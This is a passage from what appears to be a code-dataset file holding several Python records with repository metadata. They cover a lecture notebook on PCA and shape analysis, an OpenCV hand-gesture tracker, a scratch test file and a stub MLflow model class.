of components which best explain the variance in the system.\n#\n# ***\n#\n# As an example we will use a very simple example from spectroscopy\n\n# In[29]:\n\n\nimport pandas as pd\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ncm_dm = np.linspace(1000, 4000, 300)\n\n\ndef peak(cent, wid, h):\n    return h / (wid * np.sqrt(2 * np.pi)) * np.exp(-np.square((cm_dm - cent) / wid))\n\n\ndef peaks(plist):\n    return np.sum(\n        np.stack([peak(cent, wid, h) for cent, wid, h in plist], 0), 0\n    ) + np.random.uniform(0, 1, size=cm_dm.shape)\n\n\nfat_curve = [(2900, 100, 500), (1680, 200, 400)]\nprotein_curve = [(2900, 50, 200), (3400, 100, 600), (1680, 200, 300)]\nnoise_curve = [(3000, 50, 1)]\n\nfig, (ax0, ax1, ax2) = plt.subplots(1, 3, figsize=(12, 6))\n\nax1.plot(cm_dm, peaks(fat_curve))\nax1.set_title(\"Fat IR Spectra\")\n\nax2.plot(cm_dm, peaks(protein_curve))\nax2.set_title(\"Protein IR Spectra\")\n\nax0.plot(cm_dm, peaks(noise_curve))\nax0.set_title(\"Noise IR Spectra\")\n\nax0.set_ylim(ax2.get_ylim())\nax2.set_ylim(ax2.get_ylim())\n\npd.DataFrame({\"cm^(-1)\": cm_dm, \"intensity\": peaks(protein_curve)}).head(10)\n\n\n# # Test Dataset of a number of curves\n# We want to sort cells or samples into groups of being more fat like or more protein like.\n#\n# ## How can we analyze this data without specifically looking for peaks or building models?\n\n# In[30]:\n\n\ntest_data = np.stack(\n    [\n        peaks(c_curve)\n        for _ in range(20)\n        for c_curve in [protein_curve, fat_curve, noise_curve]\n    ],\n    0,\n)\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(14, 6))\n\nax1.plot(test_data[:4].T, \".-\")\nax1.legend([\"Curve 1\", \"Curve 2\", \"Curve 3\", \"Curve 4\"])\nax2.scatter(\n    test_data[:, 0],\n    test_data[:, 1],\n    c=range(test_data.shape[0]),\n    s=20,\n    cmap=\"nipy_spectral\",\n)\n\n\n# In[31]:\n\n\nfrom sklearn.decomposition import PCA\n\npca_tool = PCA(5)\npca_tool.fit(test_data)\n\n\n# # Useful Statistical Tools: Principal Component Analysis\n#\n# The first principal component provides\n#\n# The second principal component is then related to the unique information seperating chicken from corn prices but neither indices directly themselves (maybe the cost of antibiotics)\n\n# In[32]:\n\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(14, 6))\nscore_matrix = pca_tool.transform(test_data)\nax1.plot(cm_dm, pca_tool.components_[0, :], label=\"Component #1\")\nax1.plot(\n    cm_dm,\n    pca_tool.components_[1, :],\n    label=\"Component #2\",\n    alpha=pca_tool.explained_variance_ratio_[0],\n)\nax1.plot(\n    cm_dm,\n    pca_tool.components_[2, :],\n    label=\"Component #3\",\n    alpha=pca_tool.explained_variance_ratio_[1],\n)\nax1.legend()\nax2.scatter(score_matrix[:, 0], score_matrix[:, 1])\nax2.set_xlabel(\"Component 1\")\nax2.set_ylabel(\"Component 2\")\n\n\n# In[33]:\n\n\nfig, ax1 = plt.subplots(1, 1, figsize=(8, 4), dpi=120)\nax1.bar(\n    x=range(pca_tool.explained_variance_ratio_.shape[0]),\n    height=100 * pca_tool.explained_variance_ratio_,\n)\nax1.set_xlabel(\"Components\")\nax1.set_ylabel(\"Explained Variance (%)\")\n\n\n# # Principal Component Analysis\n# ## scikit-learn [Face Analyis](http://scikit-learn.org/stable/auto_examples/decomposition/plot_faces_decomposition.html)\n#\n# Here we show a more imaging related example from the scikit-learn documentation where we do basic face analysis with scikit-learn.\n#\n\n# In[34]:\n\n\nfrom sklearn.datasets import fetch_olivetti_faces\nfrom sklearn import decomposition\n\n# Load faces data\ntry:\n    dataset = fetch_olivetti_faces(shuffle=True, random_state=2018, data_home=\".\")\n    faces = dataset.data\nexcept Exception as e:\n    print(\"Face data not available\", e)\n    faces = np.random.uniform(0, 1, (400, 4096))\n\nn_samples, n_features = faces.shape\nn_row, n_col = 2, 3\nn_components = n_row * n_col\nimage_shape = (64, 64)\n\n# global centering\nfaces_centered = faces - faces.mean(axis=0)\n\n# local centering\nfaces_centered -= faces_centered.mean(axis=1).reshape(n_samples, -1)\n\nprint(\"Dataset consists of %d faces\" % n_samples)\n\n\n# In[35]:\n\n\ndef plot_gallery(title, images, n_col=n_col, n_row=n_row):\n    plt.figure(figsize=(2.0 * n_col, 2.26 * n_row))\n    plt.suptitle(title, size=16)\n    for i, comp in enumerate(images):\n        plt.subplot(n_row, n_col, i + 1)\n        vmax = max(comp.max(), -comp.min())\n        plt.imshow(\n            comp.reshape(image_shape),\n            cmap=plt.cm.gray,\n            interpolation=\"nearest\",\n            vmin=-vmax,\n            vmax=vmax,\n        )\n        plt.xticks(())\n        plt.yticks(())\n    plt.subplots_adjust(0.01, 0.05, 0.99, 0.93, 0.04, 0.0)\n\n\n# #############################################################################\n# List of the different estimators, whether to center and transpose the\n# problem, and whether the transformer uses the clustering API.\nestimators = [\n    (\n        \"Eigenfaces - PCA using randomized SVD\",\n        decomposition.PCA(\n            n_components=n_components, svd_solver=\"randomized\", whiten=True\n        ),\n        True,\n    )\n]\n# #############################################################################\n# Plot a sample of the input data\n\nplot_gallery(\"First centered Olivetti faces\", faces_centered[:n_components])\n\n# #############################################################################\n# Do the estimation and plot it\n\nfor name, estimator, center in estimators:\n    print(\"Extracting the top %d %s...\" % (n_components, name))\n    data = faces\n    if center:\n        data = faces_centered\n    estimator.fit(data)\n\n    if hasattr(estimator, \"cluster_centers_\"):\n        components_ = estimator.cluster_centers_\n    else:\n        components_ = estimator.components_\n    plot_gallery(name, components_[:n_components])\n\nplt.show()\n\n\n# # Applied PCA: Shape Tensor\n#\n# ## How do these statistical analyses help us?\n# Going back to a single cell, we have the a distribution of $x$ and $y$ values.\n# - are not however completely independent\n# - greatest variance does not normally lie in either x nor y alone.\n#\n# A principal component analysis of the voxel positions, will calculate two new principal components (the components themselves are the relationships between the input variables and the scores are the final values.)\n# - An optimal rotation of the coordinate system\n\n# We start off by calculating the covariance matrix from the list of $x$, $y$, and $z$ points that make up our object of interest.\n#\n# $$ COV(I_{id}) = \\frac{1}{N} \\sum_{\\forall\\vec{v}\\in I_{id}} \\begin{bmatrix}\n# \\vec{v}_x\\vec{v}_x & \\vec{v}_x\\vec{v}_y & \\vec{v}_x\\vec{v}_z\\\\\n# \\vec{v}_y\\vec{v}_x & \\vec{v}_y\\vec{v}_y & \\vec{v}_y\\vec{v}_z\\\\\n# \\vec{v}_z\\vec{v}_x & \\vec{v}_z\\vec{v}_y & \\vec{v}_z\\vec{v}_z\n# \\end{bmatrix} $$\n#\n# We then take the eigentransform of this array to obtain the eigenvectors (principal components, $\\vec{\\Lambda}_{1\\cdots 3}$) and eigenvalues (scores, $\\lambda_{1\\cdots 3}$)\n#\n# $$ COV(I_{id}) \\longrightarrow \\underbrace{\\begin{bmatrix}\n# \\vec{\\Lambda}_{1x} & \\vec{\\Lambda}_{1y} & \\vec{\\Lambda}_{1z} \\\\\n# \\vec{\\Lambda}_{2x} & \\vec{\\Lambda}_{2y} & \\vec{\\Lambda}_{2z} \\\\\n# \\vec{\\Lambda}_{3x} & \\vec{\\Lambda}_{3y} & \\vec{\\Lambda}_{3z}\n# \\end{bmatrix}}_{\\textrm{Eigenvectors}} * \\underbrace{\\begin{bmatrix}\n# \\lambda_1 & 0 & 0 \\\\\n# 0 & \\lambda_2 & 0 \\\\\n# 0 & 0 & \\lambda_3\n# \\end{bmatrix}}_{\\textrm{Eigenvalues}} * \\underbrace{\\begin{bmatrix}\n# \\vec{\\Lambda}_{1x} & \\vec{\\Lambda}_{1y} & \\vec{\\Lambda}_{1z} \\\\\n# \\vec{\\Lambda}_{2x} & \\vec{\\Lambda}_{2y} & \\vec{\\Lambda}_{2z} \\\\\n# \\vec{\\Lambda}_{3x} & \\vec{\\Lambda}_{3y} & \\vec{\\Lambda}_{3z}\n# \\end{bmatrix}^{T}}_{\\textrm{Eigenvectors}} $$\n# The principal components tell us about the orientation of the object and the scores tell us about the corresponding magnitude (or length) in that direction.\n\n# In[36]:\n\n\nfrom IPython.display import Markdown\nfrom skimage.io import imread\nfrom skimage.morphology import label\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nseg_img = imread(\"ext-figures/aachen_label.png\") == 26\nseg_img = seg_img[::4, ::4]\nseg_img = seg_img[110:130:2, 378:420:3] > 0\nseg_img = np.pad(seg_img, 3, mode=\"constant\")\nseg_img[0, 0] = 0\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\nax1.matshow(seg_img, cmap=\"bone_r\")\n\n\n# In[37]:\n\n\nfrom sklearn.decomposition import PCA\n\nx_coord, y_coord = np.where(seg_img > 0)\nxy_pts = np.stack([x_coord, y_coord], 1)\nshape_pca = PCA()\nshape_pca.fit(xy_pts)\npca_xy_vals = shape_pca.transform(xy_pts)\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\nax1.plot(pca_xy_vals[:, 0], pca_xy_vals[:, 1], \"rs\", markersize=10)\n\n\n# In[38]:\n\n\n_, (ax1) = plt.subplots(1, 1, figsize=(7, 7), dpi=150)\n\n\nax1.plot(\n    xy_pts[:, 0] - np.mean(xy_pts[:, 0]),\n    xy_pts[:, 1] - np.mean(xy_pts[:, 1]),\n    \"rs\",\n    label=\"Points\",\n)\nax1.plot(\n    [0, shape_pca.explained_variance_[0] / 2 * shape_pca.components_[0, 0]],\n    [0, shape_pca.explained_variance_[0] / 2 * shape_pca.components_[0, 1]],\n    \"b-\",\n    label=\"PCA1\",\n)\nax1.plot(\n    [0, shape_pca.explained_variance_[1] / 2 * shape_pca.components_[1, 0]],\n    [0, shape_pca.explained_variance_[1] / 2 * shape_pca.components_[1, 1]],\n    \"g-\",\n    label=\"PCA2\",\n)\nax1.legend()\n\n\n# # Principal Component Analysis: Take home message\n#\n# - We calculate the statistical distribution individually for $x$, $y$, and $z$ and the 'correlations' between them.\n# - From these values we can estimate the orientation in the direction of largest variance\n# - We can also estimate magnitude\n# - These functions are implemented as ```princomp``` or ```pca``` in various languages and scale well to very large datasets.\n\n# # Principal Component Analysis: Elliptical Model\n#\n#\n# While the eigenvalues and eigenvectors are in their own right useful\n# - Not obvious how to visually represent these tensor objects\n# - Ellipsoidal (Ellipse in 2D) representation alleviates this issue\n#\n# ### Ellipsoidal Representation\n# 1. Center of Volume is calculated normally\n# 1. Eigenvectors represent the unit vectors for the semiaxes of the ellipsoid\n# 1. $\\sqrt{\\text{Eigenvalues}}$ is proportional to the length of the semiaxis ($\\mathcal{l}=\\sqrt{5\\lambda_i}$), derivation similar to moment of inertia tensor for ellipsoids.\n#\n# ***\n\n# # Meshing\n#\n#\n# Constructing a mesh for an image provides very different information than the image data itself. Most crucially this comes when looking at physical processes like deformation.\n#\n# While the images are helpful for visualizing we rarely have models for quantifying how difficult it is to turn a pixel __off__\n#\n# If the image is turned into a mesh we now have a list of vertices and edges. For these vertices and edges we can define forces. For example when looking at stress-strain relationships in mechanics using Hooke's Model\n# $$ \\vec{F}=k (\\vec{x}_0-\\vec{x}) $$\n# the force needed to stretch one of these edges is proportional to how far it is stretched.\n\n# # Meshing\n#\n#\n# Since we uses voxels to image and identify the volume we can use the voxels themselves as an approimation for the surface of the structure.\n# - Each 'exposed' face of a voxel belongs to the surface\n#\n# From this we can create a mesh by\n#\n# - adding each exposed voxel face to a list of surface squares.\n# - adding connectivity information for the different squares (shared edges and vertices)\n#\n# A wide variety of methods of which we will only graze the surface (http://en.wikipedia.org/wiki/Image-based_meshing)\n\n# # Marching Cubes\n#\n# ### Why\n# Voxels are very poor approximations for the surface and are very rough (they are either normal to the x, y, or z axis and nothing between). Because of their inherently orthogonal surface normals, any analysis which utilizes the surface normal to calculate another value (growth, curvature, etc) is going to be very inaccurate at best and very wrong at worst.\n#\n# ### [How](https://en.wikipedia.org/wiki/Marching_cubes)\n# The image is processed one voxel at a time and the neighborhood (not quite the same is the morphological definition) is checked at every voxel. From this configuration of values, faces are added to the mesh to incorporate the most simple surface which would explain the values.\n#\n# [Marching tetrahedra](http://en.wikipedia.org/wiki/Marching_tetrahedra) is for some applications a better suited approach\n\n# # Next Time on QBI\n#\n#\n# So while bounding box and ellipse-based models are useful for many object and cells, they do a very poor job with other samples\n#\n#\n# ***\n#\n# ### Why\n# - We assume an entity consists of connected pixels (wrong)\n# - We assume the objects are well modeled by an ellipse (also wrong)\n#\n# ### What to do?\n#\n# - Is it 3 connected objects which should all be analzed seperately?\n# - If we could __divide it__, we could then analyze each spart as an ellipse\n# - Is it one network of objects and we want to know about the constrictions?\n# - Is it a cell or organelle with docking sites for cell?\n# - Neither extents nor anisotropy are very meaningful, we need a __more specific metric__ which can characterize\n\n# In[ ]:\n", "meta": {"hexsha": "0a921cab92da29375a894482feadbd3c8f34fcfd", "size": 41585, "ext": "py", "lang": "Python", "max_stars_repo_path": "Lectures/06-ShapeAnalysis.py", "max_stars_repo_name": "kmader/qbi-2019-py", "max_stars_repo_head_hexsha": "25ca789cc35e02ac02eaa5e1943093ef55c096a5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-11-06T16:20:50.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-11T03:38:02.000Z", "max_issues_repo_path": "Lectures/06-ShapeAnalysis.py", "max_issues_repo_name": "kmader/qbi-2019-py", "max_issues_repo_head_hexsha": "25ca789cc35e02ac02eaa5e1943093ef55c096a5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2019-11-06T16:41:39.000Z", "max_issues_repo_issues_event_max_datetime": "2019-11-07T13:02:17.000Z", "max_forks_repo_path": "Lectures/06-ShapeAnalysis.py", "max_forks_repo_name": "kmader/qbi-2019-py", "max_forks_repo_head_hexsha": "25ca789cc35e02ac02eaa5e1943093ef55c096a5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-04-09T10:43:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-09T10:43:55.000Z", "avg_line_length": 30.0686912509, "max_line_length": 360, "alphanum_fraction": 0.6305879524, "include": true, "reason": "import numpy", "num_tokens": 11983, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.21206880435710534, "lm_q1q2_score": 0.09366506622810616}}
{"text": "import cv2\nimport numpy as np\nimport time\nimport math\nimport sys\nimport os\nimport defaultGesturesLoader\nfrom gesture import Gesture\n\nclass HandProcessor(object):\n    def __init__(self, gestureFile = \"gestureData.txt\"):\n        self.cap = cv2.VideoCapture(0)\n        self.cameraWidth = 1920\n        self.cameraHeight = 1080\n        self.cap.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, self.cameraWidth)\n        self.cap.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, self.cameraHeight)\n        self.handCenterPositions = []\n        self.stationary = False\n        self.record = False\n        self.endGesture = False\n        self.gesturePoints = []\n        self.gestureFile = gestureFile\n        self.gestureHeader = \"Gesture Name: \"\n        self.gestureEnd = \"END GESTURE\"\n        self.initGestures()\n\n    def initGestures(self):\n        if os.path.isfile(self.gestureFile):\n            self.loadGesturesFromFile()\n        else:\n            self.loadDefaultGestures()\n\n    def loadGesturesFromFile(self):\n        self.gestures = []\n        read = \"\"\n        with open(self.gestureFile, 'r') as fin:\n            read = fin.read()\n            fin.close()\n        data = read.split('\\n')\n        # Basic check, should replace later with bytestream instead\n        if len(data) < len(self.gestureHeader):\n            self.loadDefaultGestures()\n        else:\n            gestureName = \"\"\n            gesturePoints = []\n            cutoff = len(self.gestureHeader)\n            for item in data:\n                if item[:cutoff] == self.gestureHeader:\n                    gestureName = item[cutoff:]\n                elif item == self.gestureEnd:\n                    self.gestures.append(Gesture(gesturePoints, gestureName))\n                    gestureName = \"\"\n                    gesturePoints = []\n                else:\n                    gesturePoints.append(map(float, item.split()))\n\n    # Initiate some default gesures in the event that no gesture file was found\n    def loadDefaultGestures(self):\n        self.gestures = defaultGesturesLoader.defaultGestures\n\n    def close(self):\n        self.cap.release()\n        self.saveGestures()\n        cv2.destroyAllWindows()\n\n    def saveGestures(self):\n        with open(self.gestureFile, 'w+') as fout:\n            for gesture in self.gestures:\n                fout.write(self.gestureHeader + gesture.name + '\\n')\n                for i in xrange(len(gesture.points)):\n                    fout.write(str(gesture.points[i][0]) + ' ' + str(gesture.points[i][1]) + '\\n')\n                fout.write(self.gestureEnd + '\\n')\n            fout.close()\n\n    # http://stackoverflow.com/questions/19363293/whats-the-fastest-way-to-increase-color-image-contrast-with-opencv-in-python-c\n    @staticmethod\n    def boostContrast(img):\n        maxIntensity = 255.0\n        phi = 1\n        theta = 1\n        boosted = (maxIntensity / phi) * (img/(maxIntensity/theta)) ** 2\n        return np.array(boosted, np.uint8)\n\n    @staticmethod\n    def threshold(img):\n        grey = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n        value = (31, 31)\n        blurred = cv2.GaussianBlur(grey, value, 0)\n        retVal, thresh = cv2.threshold(blurred, 0, 255,\n                                        cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n        return thresh\n\n    def setContours(self, img):\n        self.contours, hierarchy = cv2.findContours(img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n    # Currently just finds the largest contour, which seems to work to some degree\n    # Should be able to replace this with a \"matching\" algorithm instead, from here:\n    # http://docs.opencv.org/trunk/doc/py_tutorials/py_imgproc/py_contours/py_contours_more_functions/py_contours_more_functions.html\n    def findHandContour(self):\n        maxArea, index = 0, 0\n        for i in xrange(len(self.contours)):\n            area = cv2.contourArea(self.contours[i])\n            if area > maxArea:\n                maxArea = area\n                index = i\n        self.handContour = self.contours[index]\n        self.hullHandContour = cv2.convexHull(self.handContour, returnPoints = False)\n        self.defects = cv2.convexityDefects(self.handContour, self.hullHandContour)\n        self.handMoments = cv2.moments(self.handContour)\n        self.handXCenterMoment = int(self.handMoments[\"m10\"]/self.handMoments[\"m00\"])\n        self.handYCenterMoment = int(self.handMoments[\"m01\"]/self.handMoments[\"m00\"])\n        self.handCenterPositions += [(self.handXCenterMoment, self.handYCenterMoment)]\n        if len(self.handCenterPositions) > 10:\n            self.canDoGestures = True\n        else: self.canDoGestures = False\n\n    def analyzeHandCenter(self):\n        # makes sure that there is actually sufficient data to trace over\n        if len(self.handCenterPositions) > 10:\n            self.recentPositions = sorted(self.handCenterPositions[-30:])\n            self.x = [pos[0] for pos in self.recentPositions]\n            self.y = [pos[1] for pos in self.recentPositions]\n        else:\n            self.recentPositions = []\n\n    # def findCircles(self):\n        \n\n    def setHandDimensions(self):\n        rect = cv2.minAreaRect(self.handContour)\n\n    def determineIfGesture(self):\n        self.prevRecordState = self.record\n        self.detemineStationary()\n        if self.record:\n            self.gesturePoints += [self.handCenterPositions[-1]]\n        elif self.prevRecordState == True and not self.record:\n            minGesturePoints = 5 # Should last a few frames at least\n            if len(self.gesturePoints) > minGesturePoints:\n                gestureIndex = self.classifyGesture()\n                if gestureIndex != None:\n                    self.gestures[gestureIndex].action()\n            self.gesturePoints = []\n\n    def detemineStationary(self):\n        # Figure out of the past few points have been at roughly the same position\n        # If they have and there is suddenly movement, trigger the start of a gesture search\n        searchLength = 3 # 3 frames should be enough\n        val = -1 * (searchLength + 1)\n        if self.canDoGestures:\n            xPoints = [pt[0] for pt in self.handCenterPositions[val:-1]]\n            yPoints = [pt[1] for pt in self.handCenterPositions[val:-1]]\n            xAvg = np.average(xPoints)\n            yAvg = np.average(yPoints)\n            factor = 0.04\n            for x, y in self.handCenterPositions[-(searchLength + 1):-1]:\n                # if any point is further further from the average:\n                if (x - xAvg) ** 2 + (y - yAvg) ** 2 > factor * min(self.cameraWidth, self.cameraHeight):\n                    # If previous not moving, start recording\n                    if self.stationary:\n                        self.record = True\n                    self.stationary = False\n                    self.stationaryTimeStart = time.time()\n                    return\n            # Not previously stationary but stationary now\n            if not self.stationary:\n                self.record = False\n            self.stationary = True\n\n    def classifyGesture(self):\n        minError = 2**31 - 1 # a large value\n        minErrorIndex = -1\n        self.humanGesture = Gesture(self.gesturePoints, \"Human Gesture\")\n        likelihoodScores = [0] * len(self.gestures)\n        assessments = [{}] * len(self.gestures)\n        for i in xrange(len(self.gestures)):\n            # print \"Calling:\", self.gestures[i].name, self.humanGesture.name\n            assessments[i] = Gesture.compareGestures(self.gestures[i], self.humanGesture)\n            # print self.gestures[i].name\n            # print assessments[i]\n        errorList = [assessments[i][Gesture.totalError] for i in xrange(len(assessments))]\n        index = errorList.index(min(errorList))\n        # Basic elimination to figure out if result is valid\n        templateGestureRatio = max((self.gestures[index].distance / self.humanGesture.distance), \n                    (self.humanGesture.distance / self.gestures[index].distance))\n        distanceDiffRatio = assessments[index][Gesture.totalDistance] / min(self.gestures[index].distance, self.humanGesture.distance)\n        if templateGestureRatio < 1.25 and distanceDiffRatio < 2:\n            self.gestures[index].action()\n\n        # print self.gestures[index].name, \"Template Distance:\", self.gestures[index].distance, \"Gesture Distance:\", self.humanGesture.distance, \"Distance Diff:\", assessments[index][Gesture.totalDistance]\n\n\n    def process(self):\n        while (self.cap.isOpened()):\n            retVal, self.original = self.cap.read()\n            self.original = cv2.flip(self.original, 1)\n            self.boostContrast = HandProcessor.boostContrast(self.original)\n            self.thresholded = HandProcessor.threshold(self.boostContrast)\n            self.setContours(self.thresholded.copy())\n            self.findHandContour()\n            self.setHandDimensions()\n            self.analyzeHandCenter()\n            self.determineIfGesture()\n            self.draw()\n            if cv2.waitKey(1) & 0xFF == ord('q'):\n                break\n        self.close()\n\n    def getPoint(self, index):\n        if index < len(self.handContour):\n            return (self.handContour[index][0][0], self.handContour[index][0][1])\n        return None\n\n# Various Drawing Methods\n\n    def drawCenter(self):\n        cv2.circle(self.drawingCanvas, (self.handXCenterMoment, self.handYCenterMoment), 10, (255, 255, 255), -2)\n        if len(self.recentPositions) != 0:\n            for i in xrange(len(self.recentPositions)):\n                cv2.circle(self.drawingCanvas, self.recentPositions[i], 5, (255, 25*i, 25*i), -1)\n\n    def drawHandContour(self, bubbles = False):\n        cv2.drawContours(self.drawingCanvas, [self.handContour], 0, (0, 255, 0), 1)\n        if bubbles:\n            self.drawBubbles(self.handContour, (255, 255, 0))\n\n    def drawHullContour(self, bubbles = False):\n        hullPoints = []\n        for i in self.hullHandContour:\n            hullPoints.append(self.handContour[i[0]])\n        hullPoints = np.array(hullPoints, dtype = np.int32)\n        cv2.drawContours(self.drawingCanvas, [hullPoints], 0, (0, 0, 255), 2)\n        if bubbles:\n            self.drawBubbles(hullPoints, (255, 255, 255))\n\n    def drawDefects(self, bubbles = False):\n        defectPoints = []\n        minDistance = 1000\n        for i in self.defects:\n            if i[0][3] > minDistance:\n                defectPoints.append(self.handContour[i[0][2]])\n        defectPoints = np.array(defectPoints, dtype = np.int32)\n        if bubbles:\n            self.drawBubbles(defectPoints, (0, 0, 255), width = 4)\n\n    def drawBubbles(self, pointsList, color = (255, 255, 255), width = 2):\n        for i in xrange(len(pointsList)):\n            for j in xrange(len(pointsList[i])):\n                cv2.circle(self.drawingCanvas, (pointsList[i][j][0], pointsList[i][j][1]), width, color)\n\n    def draw(self):\n        self.drawingCanvas = np.zeros(self.original.shape, np.uint8)\n        self.drawHandContour(True)\n        self.drawHullContour(True)\n        self.drawDefects(True)\n        self.drawCenter()\n        cv2.imshow('Original', self.original)\n        cv2.imshow('HandContour', self.drawingCanvas)\n\nHandProcessor().process()\n\nclass HandProcessorSingleImage(HandProcessor):\n    def __init__(self):\n        self.original = cv2.imread('oneHand.jpg')\n\n    def process(self):\n        self.boostContrast = HandProcessor.boostContrast(self.original)\n        self.thresholded = HandProcessor.threshold(self.boostContrast)\n        self.setContours(self.thresholded.copy())\n        self.findHandContour()\n        self.draw()\n        if cv2.waitKey(0) & 0xFF == ord('q'):\n            self.close()\n\n    def close(self):\n        cv2.destroyAllWindows()\n\n    def draw(self):\n        self.drawingCanvas = np.zeros(self.original.shape, np.uint8)\n        self.drawHandContour(True)\n        self.drawHullContour(True)\n        self.drawDefects(True)\n        cv2.imshow('HandContour', self.drawingCanvas)\n\n# HandProcessorSingleImage().process()", "meta": {"hexsha": "a161dbcbb2ace7055ebc09957bdf4a628d201b44", "size": 11937, "ext": "py", "lang": "Python", "max_stars_repo_path": "Gesture/old/version2.py", "max_stars_repo_name": "jaronoff97/mirrorpi", "max_stars_repo_head_hexsha": "cf1a6d103648164f2ae154ca0bdb795a70944df9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Gesture/old/version2.py", "max_issues_repo_name": "jaronoff97/mirrorpi", "max_issues_repo_head_hexsha": "cf1a6d103648164f2ae154ca0bdb795a70944df9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Gesture/old/version2.py", "max_forks_repo_name": "jaronoff97/mirrorpi", "max_forks_repo_head_hexsha": "cf1a6d103648164f2ae154ca0bdb795a70944df9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.8842105263, "max_line_length": 204, "alphanum_fraction": 0.6153975036, "include": true, "reason": "import numpy", "num_tokens": 2825, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.18242551713899047, "lm_q1q2_score": 0.09335016624176573}}
{"text": "\nimport torch\nimport numpy as np\n# label1 = np.zeros((4, 1))\n# lambd = 0.5\n# y1 = np.hstack((label1, np.full((label1.shape[0], 1), lambd)))\n\n# label2 = np.zeros((4, 1))\n# y2 = np.hstack((label2, np.full((label2.shape[0], 1), 1. - lambd)))\n\n# a = np.vstack((y1, y2))\n# a = np.random.beta(2,2)\n# print(a)\n\nwhile (True):\n    pass", "meta": {"hexsha": "f12a4935ee11de79e6c1192ccc379d0268b596dd", "size": 326, "ext": "py", "lang": "Python", "max_stars_repo_path": "myILOD/test.py", "max_stars_repo_name": "Magixxxxxx/EfficientReplay", "max_stars_repo_head_hexsha": "183ff8752cf4b5a94ff95b12930f98011d270fb8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "myILOD/test.py", "max_issues_repo_name": "Magixxxxxx/EfficientReplay", "max_issues_repo_head_hexsha": "183ff8752cf4b5a94ff95b12930f98011d270fb8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "myILOD/test.py", "max_forks_repo_name": "Magixxxxxx/EfficientReplay", "max_forks_repo_head_hexsha": "183ff8752cf4b5a94ff95b12930f98011d270fb8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.375, "max_line_length": 69, "alphanum_fraction": 0.5858895706, "include": true, "reason": "import numpy", "num_tokens": 129, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5736783928749127, "lm_q2_score": 0.1623800386934589, "lm_q1q2_score": 0.09315391963262964}}
{"text": "import numpy as np\nfrom mlflow.pyfunc import PythonModel\nfrom sklearn.base import clone\n\nclass PyModel(PythonModel):\n\n    def __init__(self, estimator=None):\n        self.estimator = estimator\n\n    def fit(self, X, y=None):\n        return self\n\n    def predict(self, context, X):\n        return 1", "meta": {"hexsha": "8e8696598298193ce1d82a033c552e068d2b6229", "size": 296, "ext": "py", "lang": "Python", "max_stars_repo_path": "TopicExtractor/src/utils/mlflow/pymodel.py", "max_stars_repo_name": "npnkbabu/mymlproject", "max_stars_repo_head_hexsha": "9b9aaeef4a5dac2d967262166ca8cdf4fa09cd5d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "TopicExtractor/src/utils/mlflow/pymodel.py", "max_issues_repo_name": "npnkbabu/mymlproject", "max_issues_repo_head_hexsha": "9b9aaeef4a5dac2d967262166ca8cdf4fa09cd5d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "TopicExtractor/src/utils/mlflow/pymodel.py", "max_forks_repo_name": "npnkbabu/mymlproject", "max_forks_repo_head_hexsha": "9b9aaeef4a5dac2d967262166ca8cdf4fa09cd5d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.1428571429, "max_line_length": 39, "alphanum_fraction": 0.6824324324, "include": true, "reason": "import numpy", "num_tokens": 71, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.17781087601343812, "lm_q1q2_score": 0.09306983076762723}}
